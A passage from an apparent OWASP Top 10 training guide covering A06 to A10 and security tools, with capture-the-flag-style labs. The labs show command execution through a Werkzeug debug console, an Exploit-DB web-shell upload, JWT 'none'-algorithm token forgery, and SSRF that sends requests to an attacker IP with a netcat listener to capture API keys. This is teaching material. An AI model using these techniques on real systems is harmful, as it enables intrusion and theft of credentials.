web application. From there we’re able to run arbitrary commands and directly
interact with the web server which can lead to sensitive data exposure.

Use the Werkzeug console to run the following Python code to execute the `ls -l`
command on the server:

import os; print(os.popen("ls -l").read())

Modify the code to read the contents of the app.py file, application’s source code.

3.6 A06:2021 – Vulnerable and Outdated Components

3.6.1 Why Third-Party Components Pose Security Risks
Applications today are developed with many third-party libraries, frameworks, and
components to speed up development and provide functionality. These components,
though, can also pose security threats if they have unpatched vulnerabilities or old
code. When an application incorporates such components, any vulnerability in them
can be used, which can lead to the compromise of the entire system. Moreover,
dependencies are not always kept up to date or updated in a timely manner, which
makes them vulnerable to known exploits listed in public vulnerability databases.

3.6.2 Identifying Vulnerable Components

 Software Composition Analysis (SCA): Organizations can use SCA tools
such as OWASP Dependency-Check, Snyk, or WhiteSource Bolt to scan
automatically for known vulnerabilities within third-party libraries. These tools

23
 compare components with a list of vulnerability databases such as the
National Vulnerability Database (NVD) to identify insecure versions.
 Inventory Management: Keeping a current list of all third-party
dependencies is essential. The list must contain the version numbers and any
known security advisories to allow teams to instantly know and remedy
components that need updates.
 Regular Audits and Penetration Testing: Regular security scans and
focused penetration testing can assist in identifying underlooked
vulnerabilities in integrated components.

3.6.3 How Attackers Exploit Outdated Components

Attackers seek out known vulnerabilities in commonly used components actively.
This is how they usually do it:

 Automated Scanning: Attackers utilize automated software to scan websites

and applications for vulnerable components. Once detected, the known
vulnerabilities serve as a ready-made entry point.
 Exploitation of Known Vulnerabilities: After identifying a weak component
—e.g., an older library with a known bug—attackers are able to design
exploits that can inject bad code, get unauthorized access, or even remotely
run commands on the host system.
 Supply Chain Attacks: At other times, attackers aim directly at the supply
chain by tampering with the origin of a third-party component. This may lead
to the propagation of bad code in the guise of a legitimate library update.

3.6.4 Managing Dependencies Securely

 Enforce Automated Dependency Management: Move SCA tools into your
CI/CD pipelines. That way, any new dependency or update that is introduced
will be automatically scanned against existing vulnerability databases.
 Follow the Principle of Least Privilege: Segregate components wherever
possible. Containerization or sandboxing techniques can restrict a
compromised component's footprint.
 Update and Patch Regularly: Create a routine for reviewing and updating
every third-party component. Install patches and updates immediately when
issued, and use automated notification for new vulnerabilities.
 Use Verified Sources and Digital Signatures: Obtain components
exclusively from trusted sources, and ensure the integrity of the components
by using digital signatures or checksums.
 Policy and Training: Create internal guidelines on managing dependency
and ensure that development teams understand the risks and best practices
for composing third-party components.

3.6.5 Case Studies

 Equifax Data Breach (2017):
Among the most infamous incidents, the Equifax breach was partially caused
by an unpatched Apache Struts vulnerability—highly adopted open-source
software framework. Threat actors used the vulnerability to get unauthorized
access to millions of consumers' sensitive financial and personal information.

24
 This serves to highlight the catastrophic business and reputational
implications of ignoring component updates.
 WordPress Plugin Exploits:
Many WordPress sites have been hacked because of old plugins. The
attackers take advantage of weaknesses in the plugins—usually not updated
by the site owners—to inject malware, reroute users, or steal data. These
incidents highlight the need for frequent maintenance and caution when
dealing with third-party elements.

3.6.6 Practical Lab

Not keeping your applications or systems up to date can lead your application open
to attacks. An adversary can enumerate your application to find vulnerable and
outdated services running on your application, find and download the script from
Exploit-DB, Rapid7 or GitHub to exploit to their machine and execute an attack. This
happens due to not keeping your systems patched.

Exploits found online don’t always work out of the box. Sometimes you need to
modify the configuration to work for your exploit.

 Manually inspect the application located on http://IP_ADDRESS and look

around the web app.
 Go to https://exploit-db.com and find the Online Book Store exploit that
provides unauthenticated Remote Code Execution. Proceed to download.
 Run python3 47887.py -h to learn how to use the script.
 Run python3 47887.py http://IP_ADDRESS:84 to upload the PHP web shell
and gain remote code execution without authentication. Now we can run any
commands on the web server
 cat /opt/flag.txt will provide the flag!

25
3.7 A07:2021 – Identification and Authentication Failures
3.7.1 Common Authentication and Identity Issues
Contemporary applications are victim to a number of authentication-related pitfalls,
including:

 Weak Password Policies: Users can create weak, easily guessable

passwords without requiring complexity, length, or periodic updates.
 Credential Stuffing: Attackers use credentials stolen from one breach to try
unauthorized access on multiple platforms.
 Brute Force Attacks: Automated programs continuously guess passwords
until the right combination is discovered.
 Insufficient Multi-Factor Authentication (MFA): Dependence on passwords
alone without other layers of verification is risky.
 Session Management Issues: Poor handling of sessions (e.g., unexpired
tokens, easily predictable session IDs) also exacerbates these authentication
failures.

3.7.2 Types of Authentication Failures

 Weak Password Policies
 Permitting weak or easy passwords without requiring complexity.
 No password expiration policies and education on strong password
generation.
 Missing Multi-Factor Authentication (MFA)
 Most systems either do not support MFA or support it in a manner that can
easily be circumvented, e.g., using SMS-based verification which can be
tapped.
 Not invalidating sessions after logging out or employing predictable
session identifiers makes it possible for attackers to hijack current
sessions.
 Credential Stuffing and Brute Force Attacks
 Attackers use massive collections of stolen credentials from past
breaches to gain access to accounts where users have reused their
passwords.
 Automated scripts try millions of combinations until successful, frequently
taking advantage of systems without account lockout features.

3.7.3 Strengthening Authentication Security

To avoid these weaknesses, organizations can follow the following best practices:

 Enforce Strong Password Policies:

Set minimum length, complexity, and frequent password change
requirements.
Implement password blacklisting to disallow common passwords.
 Implement Robust Multi-Factor Authentication (MFA):
Utilize means other than SMS—like authenticator apps, hardware tokens, or
biometrics—to provide an additional layer of protection.
Make MFA mandatory for all high-priority operations and for access to
sensitive information.

26
  Prevent Credential Stuffing and Brute Force Attacks:
Implement account lockout policies following repeated failed login attempts.
Implement rate limiting and CAPTCHAs to deter automated login attempts.
Audit for suspect login behaviour and apply anomaly detection to indicate
suspect behavior.
 Secure Session Management:
Relogin and regenerate session identifiers, and implement secure cookie
attributes (e.g., HttpOnly, Secure).
Implement proper session timeouts and invalidate tokens on logout.
 Educate Users:
Offer training on the significance of strong, unique passwords and phishing
awareness.

3.7.4 Case Studies

 The LinkedIn Data Breach (2012)
Background: LinkedIn had a major data breach in 2012 where millions of user
credentials were compromised. The incident exposed some major
authentication and identity issues that form the core of A07.

3.7.5 Practical Lab

Take for example a user entering their credentials to access an application. The
server would verify if those credentials and if correct, the server will assign the
client’s browser a session cookie. HTTP is a stateless protocol, so a cookie is sent
with each subsequent HTTP request to maintain session and re-authenticate the
user. Cookies remind the server of who is sending the data and keep track of users’
actions.

 Go to http://IP_ADDRESS:8088/register.php and try to register as darren

 The user already exists so let’s try to bypass that restriction and re-register as
darrenwith a space proceeding the name

27
  Now you’ve re-registered with an already existing username, of darren
 Log in as darren to get the flag fe86079416a21a3c99937fea8874b667
 Now let’s try to re-register the user arthur by adding a space before the name
to access the next flag

3.8 A08:2021 – Software and Data Integrity Failures

3.8.1 Understanding Software and Data Integrity Risks
Data and software integrity failures are instances when the integrity of software
updates, application code, or data transmitted cannot be assured. Integrity failure is
the occurrence when unauthorized changes remain undetected—be it through
hacked update mechanisms, tampered information, or injected malicious code within
the supply chain. Such failures subvert the inherent confidence that the software or
data is just as its authors meant it to be.

3.8.2 Common Vulnerabilities in Data Integrity

 Insecure Software Updates
 Risk: If distribution mechanisms or update channels aren't protected,
attackers have the ability to inject malicious code during the updating
process.
 Impact: Unauthorized updates can compromise whole systems since the
update mechanism is implicitly trusted by the application.
 Supply Chain Attacks
 Risk: In a supply chain attack, the attacker targets third-party components
or services employed during development and distribution.
 Impact: Disrupted libraries, plugins, or tools may spread infections or
permit unauthorized access. A good example is the SolarWinds incident,
where intruders abused trusted update paths to spread malware.
 Unverified Digital Signatures
 Risk: Digital signatures validate the integrity and authenticity of data and
software. Attackers may embed tampered or malicious code without being
noticed if these signatures are not executed or validated effectively.
 Impact: This failure undermines trust in the software supply chain,
enabling unauthorized changes to remain.

3.8.3 Best Practices for Ensuring Data Integrity

1. Secure Software Update Processes:
 Utilize encrypted channels (such as HTTPS) for updating.
 Employ strong authentication for update servers.
 Strong cryptographic hashes should be used to validate the integrity of
updates.
2. Implement and Enforce Code Signing:
 Sign software and updates with strong cryptographic keys.
 Ensure all components check digital signatures prior to installation.
 Periodically rotate keys and securely store them (with Hardware Security
Modules, for example).
3. Use Software Composition Analysis (SCA):
 Regularly scan third-party libraries for vulnerabilities.

28
 Keep an inventory of all parts and their versions so that compromised
dependencies can be readily identified and updated
4. Supply Chain Security Controls:
 Screen third-party suppliers and apply strict security requirements to all
integrated parts.
 Watch for suspicious activity in the build or update process.
 Utilize reproducible builds to ensure that the binary is consistent with the
source code.
5. Continuous Monitoring and Incident Response:
 Set logging and alerting on failure of integrity checks.
 Create an incident response plan that contains procedures for
compromised updates or components.

3.8.4 Case Studies

1. SolarWinds Supply Chain Attack (2020):
 Summary: Attackers compromised the SolarWinds Orion software update
process, inserting malicious code into an otherwise valid update.
 Effect: This attack affected thousands of organizations, demonstrating
how a trusted software update compromise can spread far-reaching
damage.
 Lessons Learned: The importance of rigorous update validation, secure
key management, and ongoing monitoring of update processes.
2. Insecure Update Mechanism in Enterprise Software:
 Overview: In a different case, a large enterprise application did not have
proper integrity checks in place for its updates. The attackers took
advantage of this weakness by issuing a tampered update that evaded
signature validation.
 Impact: The breached update resulted in unauthorized access to data
and erosion of customer trust.
 Lessons Learned: Enforcing update authenticity checks and using
strong, verifiable digital signatures is essential in preserving trust.

3.8.5 Practical Lab

Integrity refers to validating that a piece of data remains unmodified and is one of the
tenants of the CIA triad. For example if you’re downloading the latest installer for an
application like Kali Linux we check the integrity of the data to make sure it hasn’t
been modified in transit or hasn’t been damaged by checking the hash. A hash is the
output of a hashing algorithm, say MD5 or SHA. Any bit of modification done to a file
such as a space or adding a single character will completely change the hash value.

When you download a file, you re-calcluate the hashes and compare them against
the ones published on Kali Linux’s site. To calculate the different hashes in Linux use
the following commands:

md5sum filename

sha1sum filename

sha1sum filename

29
The vulnerability arises from code or infrastructure that uses software or data without
any kind of integrity check. If no integrity verification is being modified, the attacker
might modify the software or data passed to the application, resulting in unexpected
consequences.

Software Integrity Failure

Most web apps import third-party code and when a user navigates to your website,
it’s client browser will read that code. If you didn’t verify the integrity of that code by
checking the hash values, that can lead the user susceptible to attacks.

The solution is to implement a Subresource Integrity(SRI) security mechanism in

which you provide an integrity hash so that if the attacker modifies that third party
library, the code of the library wouldn’t be executed through the browser because it
would fail the integrity check that the SRI field enforces. This will cause the client’s
browser to only read that imported file if it matches that specified value.

Remember hash values are not a form of encryption and simply an irreversible output
of a hashing algorithm. This is why hash values are more trusted, because no 2 files
can share the same hash.

An example of SRI in practice is in this piece of code:

<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-

o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ="crossorigin="anony
mous"></script>

To generate hashes for any library go to https://www.srihash.org.

Here’s an example of generating a hash for a library like jQuery:

Data Integrity Failure

30
When a user logs into an application, a session token is generated to be saved on
the browser for as long as the session lasts and will be sent in each subsequent
request so the web app knows who we are. An example of session token is a cookie.
Cookies are key-value pairs that a web app will store on the user’s browser & will be
sent with each request to the website that issued them.

If cookies are stored in the client browser, the user can tamper with the cookie to
impersonate another user and perform malicious actions on their behalf. This results
in data integrity failure as it trusts the data that an attacker can tamper with.

A solution is to implement an integrity mechanism to guaranteed the cookie hasn’t

been altered by the user such as a JSON Web Token (JWT). JWT store the key-
value pairs on a token that has a built-in integrity check.

A JWT consists of 3 sets of base64 strings, each separated by a period. The header
indicates the type of token and algorithm used in the JWT, the payload is the data
that is stored and signature is the built-in integrity check that verifies the data hasn’t
been modified.

If you alter the payload, this will impact the signature just like a hash and will be
evidence of JWT tampering. Only the server holds the secret key that’s involved in
the signature. We can bypass this feature of JWT by using the None algorithm. That
type of algorithm was created for debugging and isn’t meant to be used in production
but as you learned earlier, sometimes developers forget to disable debugging!

Here’s how to Attack with JWT with None Algorithm:

 Modify the header and set the algorithm to None

 Change the payload to whatever you want
 Remove the signature to bypass that built-in integrity check but leave the
period.

31
Remember: header.payload.signature

Challenge:

1. Navigate to http://IP_ADDRESS:8089/ and try to log in as guest. The

account’s password is guest.
2. Open Browser Developer Tools and navigate to Storage tab where you’ll see
cookies. Locate the key:value pair for the jwt-session cookie
3. Now let’s modify our JWT token

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjo
xNjc5ODY1MDU5fQ.5oArozFrsP_gWEZv85QTjICaz-RLk19w_mgsuJ0coBU

Go to https://www.base64decode.org/ and lets’s first decode the header

Encoded string — eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

Decoded: {“typ”:”JWT”,”alg”:”HS256"}

Let’s change the header to be algorithm none:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=

Next let’s take the payload and decode it:

{“username”:”guest”,”exp”:1679865059}

Now let’s modify the username to be admin instead of guest and encode that payload

{“username”:”admin”,”exp”:1679865059}

eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc5ODY1MDU5fQ==

Now let’s put our encoded strings together! Due to changing the alg type to ‘none’ in
the header, we can modify the payload and bypass the signature, just leaving a
period in between each set.

Here’s our new JWT web token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo
xNjc5ODY1MDU5fQ==.

Reload the page and you’ll be authenticated as admin. Get the flag!

32
3.9 A09:2021 – Security Logging and Monitoring Failures
3.9.1 Importance of Security Logging
Security Logging and Monitoring Failures are the organization's failure to detect,
analyze, and respond to security-relevant events in real time. This failure can cause
breaches or malicious activity to be detected late, providing attackers time to exploit
weaknesses and intensify their attacks without being detected.

3.9.2 Common Logging Mistakes

 Incomplete Logging: Critical events (for example, authentication failures,
privilege changes, data access) go unlogged or are logged inappropriately.
Without full logs, forensic analysis and incident response are difficult.
 No Real-Time Monitoring: Logs may be generated, but not continuously
monitoring and correlating them ensures that anomalous activities will not be
detected for a long time.
 Poor Log Management Practices: Problems with inconsistent log
formatting, incorrect storage, or lacking retention policies may prevent
effective incident investigation and analysis.
 Inadequate Alerting and Response: Without automated notification based
on suspect log patterns, security teams would be likely to overlook early
warnings of attacks. Response delays worsen the impact of a breach.

3.9.3 How Attackers Exploit Poor Logging Practices

 Delayed Breach Detection: Attackers may stay hidden for extended
durations, causing more possible harm. In most of the high-profile breaches,
the lack of proper monitoring permitted attackers to steal information or take
over control systems before they were detected.
 Regulatory and Compliance Issues: Most regulatory schemes mandate
adequate logging and monitoring as part of their security requirements. Not
complying with these can attract fines and legal action.

33
  Insufficient Incident Response: During a breach, the absence of extensive
logs makes it difficult to grasp the extent of the attack, to determine systems
that have been compromised, and to fix vulnerabilities.

3.9.4 Best Practices for Security Logging and Monitoring

1. Thorough Logging Strategy:
 Make sure that everything important (e.g., login tries, data changes,
admin actions) is being logged.
 Employ standardized logging formats so that analysis and correlation
become simpler.
2. Real-Time Monitoring and Alerting:
 Install Security Information and Event Management (SIEM) software
to gather and analyze logs in real time.
 Configure automated alerts whenever abnormal behaviour or
suspicious activity is detected.
3. Secure Log Storage and Retention:
 Secure logs against unauthorized access and tampering using secure
storage mechanisms.
 Store logs for an adequate duration to facilitate forensic analysis and
adhere to legal obligations.
4. Regular Auditing and Testing:
 Log configurations and the performance of alerting mechanisms
should be reviewed periodically.
 Penetration testing and red-team exercises should be performed to
ensure that logging and monitoring procedures can identify simulated
attacks.
5. Incident Response Integration:
 Interoperate logging and monitoring with your incident response
process such that alerts initiate immediate investigation and
remediation responses.

3.9.5 Case Studies

Breach of Financial Institution
One large financial institution saw a major breach when attackers were able to exploit
a hole in their logging and monitoring system. While some suspicious behavior did
occur over the course of several weeks—like continuous failed login attempts and
strange patterns of data access—the events went unlogged and uncorrelated.
Consequently, security teams remained unaware of the breach until a significant
anomaly was finally discovered by chance during a standard audit. By that time, the
attackers had gained access to sensitive customer information and created persistent
access. The attack resulted in huge financial loss, regulatory fines, and a tainted
reputation. This case emphasizes the need for extensive logging, real-time
monitoring, and strong alerting processes to identify and prevent threats early.

3.9.6 Practical Lab

Logging provides a way to document every action a user makes on a web server.
Logging helps immensely in the event of a security incident because you’re able to
track the steps made against your system. The information stored in a log typically

34
 consists of the source and destination IP address, time stamps, usernames, API
endpoints/page locations and HTTP status codes.

What to look for when examining logs for suspicious activity:

 Multiple unauthorized attempts for a particular action especially within

a very short amount of time, can be indicative of a brute force attack
 Detecting common web payloads

From analyzing the log, we can see several unauthorized attempts to the /login
endpoint to either authenticate as admin, administrator, anonymous and root . This is
an example of a brute force technique, issuing several requests to a server within a
very short period of time (in this case a 5s delay between each request).

What IP address is the attacker using — 49.99.13.16

What kind of attack is being carried out- Brute Force

3.10 A10:2021 – Server-Side Request Forgery (SSRF)

3.10.1 What is SSRF?
Server-Side Request Forgery (SSRF) is an attack that causes a server-side
application to request an HTTP or other form of network request from an
unauthorized location. The attacker takes advantage of the server's privilege and
trusted network access to gain potential access to internal systems, services, or data
not normally reachable from the outside.

3.10.2 How SSRF Attacks Work

1. Input Manipulation: The attacker provides a specially crafted URL or request
parameter that the vulnerable server employs to retrieve data. This input
could be for image retrieval, file download, or API invocation.

35
 2. Server Execution: The server, believing the input to be valid, issues a
request on behalf of the attacker. This request may be made to internal
resources (e.g., a metadata service, internal APIs, or administrative
interfaces) or external systems.
3. Exploitation: By dictating where the request is sent, the attacker has the
ability to:
 Access internal networks' sensitive information.
 Vulnerability scans the internal network.
 Cause an action on an internal system the attacker cannot directly
access otherwise.

3.10.3 Common Exploitation Scenarios

 Accessing Cloud Metadata: SSRF vulnerabilities in cloud environments can
be exploited to query internal metadata services (e.g., AWS's
http://169.254.169.254/) to obtain sensitive configuration information like
credentials or tokens.
 Bypassing Firewalls: Attackers can bypass firewall controls using SSRF by
employing the server as a proxy, accessing internal-only resources or
services.
 Interacting with Internal APIs: If an internal API is not properly secured,
SSRF can be used to conduct operations like changing configurations,
invoking administrative tasks, or fetching internal data.
 Port Scanning and Reconnaissance: SSRF can also be used to enumerate
the internal network infrastructure by sending requests to a series of internal
IP addresses and ports.

3.10.4 Mitigation Strategies

 Input Validation and Whitelisting: Sanitize and validate user-provided
URLs. Apply a whitelist of permitted protocols and domains to let only secure
targets be fetched.
 Network Segmentation: Restrict server access by compartmentalizing
internal infrastructure. Apply network-based controls (e.g., access control
lists, firewalls) to limit outgoing requests from compromised servers.
 Use of Proxies and Gateway Filters: Proxy all external requests via a proxy
that has the capability of applying further security screening and auditing.
 Timeouts and Response Size Limits: Restrict the size and duration of
outbound requests to prevent any probable data exfiltration or ongoing
scanning behaviour.
 Monitoring and Logging: Log and monitor all outbound requests initiated by
the server. Suspicious ties or patterns suggesting attempts to exploit SSRF
can be tagged for instant analysis.

3.10.5 Case Studies

 Cloud Metadata Exposure: A number of prominent SSRF vulnerabilities
have been identified in cloud-hosted applications. In all such instances,
attackers used SSRF to retrieve cloud metadata endpoints, exposing
sensitive credentials that were then used to compromise other resources. For
example, attackers have been able to successfully extract temporary security

36
 tokens from AWS metadata endpoints, showing the serious threats SSRF can
introduce in cloud environments.
 Internal API Exploitation: In one instance, an SSRF-vulnerable web
application exposed internal admin APIs to attackers. This led to unauthorized
configuration updates and data exposure, emphasizing the importance of
rigorous access control and separation between public and internal-facing
services.

3.10.6 Practical Lab

Server-Side Request Forgery is when an attacker manipulates a web app into
sending requests on their behalf to destinations not intended whether it’s the web
app’s server (localhost) or external web app. An example would be something
like http://www.example.com/sms?server=resource.thm&msg=ABC. In that URL, the
web app is making an API call to an an expected resource for instance. We could
redirect the request to be made to our server and grab the API keys.

The impact of SSRF can be massive. It can lead to interacting with other services to
get remote code execution (RCE), abuse trust relationships between servers and
gain access to restricted resources or perform internal network enumeration.

1. Explore the website. What is the only host allowed to access the admin area?
http://IP_ADDRESS:8087/admin
2. Check the “Download Resume” button. Where does the server parameter
point to? secure-file-storage.com
3. Using SSRF, make the application send the request to your AttackBox instead
of the secure file storage. Are there any API keys in the intercepted request?

Solve the challenge:

The first thing I would do is inspect the URL that we’re analyzing

http://IP_ADDRESS:8087/download?server=secure-file-
storage.com:8087&id=75482342

The server=secure-file-storage.com:8087 is indicating that the web app is making a

call to this API server. So what we will do is redirect the request to our localhost
which is either the Attack Box IP Address or tun0 IP address if you’re using
OpenVPN.

http://VICTIM_IP_ADDRESS:8087/download?
server=ATTACKER_IP_ADDRESS&id=75482342

Next, let’s open up a terminal and use Netcat to listen on port 80 so we can capture
the API keys from the request.

nc -lvp 80

Now set fire! Once you’ve turned on the listener, send the request in the browser and
you should see the API key in netcat:

37
38
4 How to Secure Applications Against OWASP Top 10
4.1 Secure Coding Practices
Secure coding practices are the first line of defense against vulnerabilities. Developers
need to have a mindset that considers security as part of the development process and
not an afterthought. This starts with strict input validation to make sure that any data from
users is sanitized, thus preventing injection attacks like SQL injection or command
injection. Using parameterized queries and prepared statements is essential when
dealing with databases. Further, context-aware encoding of output prevents cross-site
scripting (XSS) by making sure that any data being displayed to users won't be executed
as code. Strict error handling measures should also be enforced by developers so that
error messages don't provide sensitive internal information that can be used against
them by attackers. Following the principle of least privilege in code as well as system
permissions reduces the effect of any breach. Periodic code reviews and pair
programming can identify silent vulnerabilities before they reach production. Using
automated static analysis tools further increases the early detection of coding defects in
the cycle. Finally, there is a need to have a secure coding checklist and stay updated
with new security practices and frameworks that are always changing to cater to new
threats, hence developing strong applications that can resist attacks described in the
OWASP Top 10.

4.2 Security Testing Techniques

 Static Application Security Testing (SAST)
Static Application Security Testing (SAST) encompasses the examination of source
code, byte code, or compiled binaries without running the program. Through code
structure, control flow, and data handling inspection, SAST tools seek to identify
prevalent vulnerabilities such as SQL injection, cross-site scripting (XSS), and buffer
overflows. Early incorporation into the development cycle is one of the principal
advantages of SAST. When integrated into a CI/CD pipeline, SAST allows
developers to detect and fix problems while coding, preventing vulnerabilities from
entering production. But SAST is not perfect—it can produce false positives and
might have difficulty detecting context-dependent problems that only manifest at
runtime. Continuous vulnerability signature and rule updates are necessary to keep
up with changing threats. Though challenging, SAST is still an essential part of
secure development, providing real-time feedback and enabling proactive security by
mandating secure coding in the initial stages of development. Its inclusion in the
software lifecycle has a major contribution in creating secure applications by ensuring
that security issues are addressed prior to code deployment.
 Dynamic Application Security Testing (DAST)
Dynamic Application Security Testing (DAST) analyzes applications in operation by
emulating true-world attacks in order to reveal vulnerabilities that surface only during
run-time. Contrary to SAST, DAST doesn't need source-code access but analyzes
the exposed interfaces of the application, mimicking what malicious actors might do.
This technique excels in the discovery of run-time vulnerabilities such as cross-site
scripting (XSS), malfunctioning authentication controls, and misconfigured servers.
DAST tools communicate with the application by injecting a variety of malicious

39
 inputs and watching for the resulting responses to determine security control
weaknesses. A key benefit of DAST is that it can catch vulnerabilities due to
misconfigurations or integration problems that static analysis may not catch.
Nonetheless, DAST may be constrained by its scope, as it may not analyze all
possible execution paths, and test execution in production environments has to be
meticulously planned so that it won't cause any disruptions to operations.
Complementing SAST, DAST gives a more complete view of an application's security
stance, guaranteeing that code-level and runtime vulnerabilities are identified. This
multi-layered strategy enables companies to have strong security barriers against
increasingly sophisticated threats.
 Penetration Testing
Penetration testing is a focused, manual or semi-automatic security test technique in
which ethical hackers mimic actual attacks on an application, network, or system. In
contrast to automated testing tools, penetration testing takes advantage of the skills
of security experts to discover and exploit vulnerabilities, providing information on
how an attacker would penetrate defenses. The process usually starts with
reconnaissance to find out more about the target, including vulnerability scanning
and attempts at exploitation. This full-coverage testing approach uncovers
sophisticated, multi-layered security vulnerabilities that could be missed by
automated scans, such as business logic and chain-related vulnerabilities.
Penetration testing not only detects vulnerabilities, but also determines their potential
impact, leaving organizations with real-world guidance to reduce the risk. While it is
costly and often performed on an intermittent basis versus real-time, penetration
testing provides a realistic measure of security posture and confirms the efficacy of
implemented controls. Results enable remediation prioritization and enhance overall
security strategy by revealing latent vulnerabilities and insight into the potential for an
attacker to pivot within the infrastructure. Systematic penetration testing coupled with
ongoing scanning methods constitutes a solid defense against new security threats.

4.3 Secure Software Development Lifecycle (SDLC)

Incorporating security into each step of the Software Development Life Cycle (SDLC) is
crucial to developing secure applications. Security factors are initiated in an SSDLC from
the planning and requirements phase, where risk analysis and threat modeling determine
areas of vulnerability from the OWASP Top 10. This is what informs design decisions so
that security architecture in the form of correct authentication, authorization, and data
protection features are incorporated into the system foundation. In the coding stage, the
developers have to follow secure coding practices, use peer reviews, and employ static
analysis tools to detect and fix vulnerabilities prior to merging the code. The testing stage
of the SSDLC combines automated tools (SAST and DAST) with manual security audits
to ensure that the application resists simulated attacks. Deployment needs to include
secure configuration management so that environments are hardened and kept up to
date. Regular monitoring and maintenance through constant patching and vulnerability
scanning ensure that the application is secure after deployment. By incorporating
security into each phase, the SSDLC not only prevents risks related to the OWASP Top
10 vulnerabilities but also instils security awareness throughout the organization,
lowering the chances of breach and providing long-term resilience.

40
4.4 DevSecOps and Continuous Security
DevSecOps represents a refinement of traditional DevOps that incorporates security as
a mutual responsibility among development, operations, and security groups. This
philosophy pushes security to the left, with security processes baked into the
development process in early stages of the process rather than added later on. Under
DevSecOps, automated security technologies—such as static and dynamic analyzers—
are built into the CI/CD pipeline directly. These technologies proactively scan deployed
applications and code for vulnerabilities constantly, identifying and correcting any
aberrations from security coding best practices as they arise. DevSecOps also facilitates
interaction among developers and security specialists by involving continuous security
training and cross-functional collaboration. This culture of collaboration supports the
creation of secure code while countering evolving threats, such as those outlined in the
OWASP Top 10. Infrastructure as code (IaC) is also used to handle and automate secure
configurations, making them consistent throughout development, testing, and production
environments. Automated compliance scans and real-time monitoring also augment
security posture, enabling teams to rapidly respond to anomalies or breaches. By
embedding security practices in every stage of the development cycle, DevSecOps
establishes a more agile and responsive security posture that not only prevents
vulnerabilities but also supports faster, more secure deployment in today's high-speed
development environments.

Continuity security is centered on the provision of security solutions that continue to

work effectively despite the passage of time, applications change, and the introduction of
new threats. The method lays its focus on resilience, ensuring systems are in a position
to rapidly recover from failures or attacks and continue working securely. Critical
elements involve exhaustive monitoring, logging, and alerting systems providing real-
time views into the application's security state. These systems are important in
identifying anomalous behaviors and possible breaches in early stages, allowing for
rapid response measures. Continuity security also includes ongoing risk assessment and
vulnerability management practices so that the existing security controls remain current
with the newest threat intelligence, especially those defined in the OWASP Top 10.
Incident response planning is part of continuity security; organizations need to create
and regularly exercise detailed response plans that specify roles, responsibilities, and
procedures in case of a security breach. Disaster recovery plans, such as periodic
backups and system redundancy, guarantee that business can be quickly restored
following an event. Regular audits and penetration testing offer further guarantees that
proactive and reactive security controls are working as designed. Through the
implementation of a full-cycle continuity security approach, organizations guarantee that
their applications are not only secure upon release but also remain to protect against
changing threats over their lifespan.

41
5 OWASP Tools and Resources
5.1 OWASP ZAP (Zed Attack Proxy)
OWASP ZAP is a free, open-source dynamic application security testing (DAST) tool
used for discovering vulnerabilities in web applications. Developed in Java, ZAP is an
intercepting proxy that inspects and alters traffic between a web browser and the
application under test. Its modular design accommodates manual testing and automated
scanning modes in the form of full scans, passive scans, and fuzzing, making it usable
by novice security testers and experienced penetration testers alike. ZAP's large library
of plugins and add-ons extends its capability even further, enabling customization to suit
particular testing requirements. Integration with CI/CD pipelines allows continuous
security testing to be part of your development cycle. Forced browsing and WebSocket
analysis are also supported by the tool, which enables it to reveal hidden attack
surfaces. Active community participation, comprehensive documentation, and frequent
updates make sure that ZAP stays in the game as new web vulnerabilities are
discovered. This blend of usability, extensibility, and community cooperation renders
OWASP ZAP a go-to tool for organizations seeking to detect and address security
vulnerabilities in real time.

https://en.wikipedia.org/wiki/ZAP_%28software%29

5.2 OWASP Dependency-Check

OWASP Dependency-Check is an open-source software composition analysis (SCA)
tool used to find known vulnerabilities in project dependencies. It scans different
dependency files (e.g., Maven, Gradle, NPM, and others) and maps components against
vulnerability information from public databases such as the National Vulnerability
Database (NVD). This allows organizations to anticipate and address risks related to
third-party libraries before they can be exploited. Dependency-Check can be easily
integrated into build processes and CI/CD pipelines so that each new code commit is
analyzed for vulnerable components. Its flexible configuration settings enable teams to
suppress known false positives and produce comprehensive reports in several formats
(HTML, XML, CSV) that support risk analysis. Ongoing updates to its vulnerability
database provide constant accuracy and relevance, rendering it an essential part of a
strong secure software development lifecycle. In the end, Dependency-Check enables
security and development teams to have an up-to-date inventory of dependencies and
reduce supply chain threats in an effective, cost-saving way.

5.3 OWASP Cheat Sheets and Security Guidelines

The OWASP Cheat Sheet Series is a handpicked set of brief, practical guides to a broad
array of security issues—ranging from input validation and output encoding to
authentication and session management. The cheat sheets boil best practices down to
concise, actionable steps that developers can easily refer to while writing or auditing
software. To complement these resources, OWASP provides comprehensive security
guidelines in the form of documents such as the OWASP Testing Guide and the
Application Security Verification Standard (ASVS), which contain thorough
methodologies for testing application security. The guidelines are regularly updated to
incorporate the most recent vulnerabilities and mitigation methods so that they can

42
remain a trustworthy resource in a constantly changing threat environment. By
incorporating these cheat sheets and security best practices into training initiatives and
development, organizations promote a security-first mindset. Not only does this proactive
measure decrease the likelihood of widespread vulnerabilities, it also simplifies the
integration of sound security practices throughout the software development cycle.

https://cheatsheetseries.owasp.org/

5.4 Other Open-Source Security Tools

In addition to the core OWASP offerings, a thriving ecosystem of open-source security
tools further enhances an organization's defense capabilities. For instance, OWASP
Juice Shop offers a deliberately vulnerable web application designed for training and
demonstration purposes so that security teams can exercise exploiting and mitigating
real-world vulnerabilities. OWASP SAMM (Software Assurance Maturity Model) provides
a model for assessment and strengthening an organization's security practices so that
security is integrated throughout all stages of the software development lifecycle. Static
analysis (SAST), dynamic analysis (DAST), and infrastructure-as-code (IaC) scanning
tools are readily available both from OWASP and the general open-source community.
They play well with CI/CD pipelines so that continuous security monitoring and swift
